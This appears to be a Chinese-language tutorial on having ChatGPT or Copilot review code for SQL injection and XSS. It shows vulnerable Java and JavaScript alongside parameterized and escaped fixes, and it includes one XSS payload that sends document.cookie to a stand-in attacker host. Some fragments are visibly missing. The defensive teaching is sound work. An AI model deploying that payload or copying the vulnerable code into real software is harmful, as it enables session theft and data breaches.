昨天我們探討了大型語言模型時代特有的新威脅——Prompt Injection。然而,在軟體工程與 Web 應用的實際戰場上,威脅等級最高、最容易被滲透測試抓到並被攻擊者打穿資料庫的,依然是經典的 SQL Injection(SQL 注入)與 XSS(Cross-Site Scripting,跨站腳本攻擊)。
很多開發者在趕進度時,常會貪圖方便寫出「字串直接拼接 SQL」或「前端直接用 v-html / innerHTML 渲染不可信資料」的代碼。
手動進行代碼安全審查(Code Review)需要耗費極大的精力與資安敏銳度。今天我們就來示範:如何讓 ChatGPT / Copilot 扮演「靜態代碼安全審查員(SAST, Static Application Security Testing)」,在代碼 Merge 進主分支前,精準抓出隱藏的漏洞並給出防禦重構方案!
想要讓 AI 進行具備黑客視角的安全分析,不要只問「這段代碼安全嗎?」,請使用以下標準資安審查結構:
【代碼安全審查提示詞範本】
請扮演資深應用程式安全架構師(AppSec Specialist)與滲透測試工程師。以下是一段等待安全審查的後端/前端代碼片段:
[貼上待審查的代碼區塊]
請依序進行深度安全剖析:
假設我們在專案庫存模組中發現了以下資料庫查詢代碼:
[審查前:脆弱的 SQL 拼接代碼]
public class ProductDao {
private final Connection connection;
public ProductDao(Connection connection) {
this.connection = connection;
}
public List<Product> searchProducts(String category, String keyword) throws SQLException {
// 致命漏洞:直接將未經消毒的參數拼接進 SQL 語句
String sql = "SELECT * FROM products WHERE category = '" + category + "' AND name LIKE '%" + keyword + "%'";
Statement statement = connection.createStatement();
ResultSet rs = statement.executeQuery(sql);
// 解析 ResultSet...
return parseProducts(rs);
}
}
AI 會立刻發出高危警報並指出:
-- 會將後方所有條件直接註解掉,導致查詢條件恆為真,攻擊者可一次撈出未公開的下架商品,甚至藉由 UNION SELECT 拖庫(Dump)撈取使用者密碼表!根治 SQL Injection 的唯一正確解法是「參數化預編譯(Parameterized Queries)」,讓資料庫驅動將參數純粹視為資料,絕不作為指令解析:
[修復後:安全的預編譯查詢代碼]
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.List;
public class ProductDao {
private final Connection connection;
public ProductDao(Connection connection) {
this.connection = connection;
}
public List<Product> searchProducts(String category, String keyword) throws SQLException {
// 使用佔位符「?」,禁止字串拼接
String sql = "SELECT * FROM products WHERE category = ? AND name LIKE ?";
try (PreparedStatement ps = connection.prepareStatement(sql)) {
ps.setString(1, category);
// 在參數內部組裝模糊搜尋萬用字元
ps.setString(2, "%" + keyword + "%");
try (ResultSet rs = ps.executeQuery()) {
return parseProducts(rs);
}
}
}
}
在 Web 前端或全端渲染時,另一個常見的漏洞是未轉義的使用者內容:
[審查前:危險的前端渲染代碼]
// 假設從後端 API 取得使用者留言 comment.content
const commentBox = document.getElementById('comment-box');
// 致命漏洞:直接使用 innerHTML 渲染未轉義的使用者內容
commentBox.innerHTML = <div class="user-comment">${comment.content}</div>;
<img src=x onerror="fetch('https://hacker.com/steal?cookie=' + document.cookie)">。一旦其他使用者打開頁面,瀏覽器便會自動執行該 JavaScript 腳本,造成 Session / Cookie 劫持。今天我們示範了如何利用 AI 扮演應用程式安全審查員,剖析了 SQL Injection 與 XSS 的攻擊原理,並透過「PreparedStatement 預編譯」與「輸出消毒轉義」徹底封堵了高危漏洞。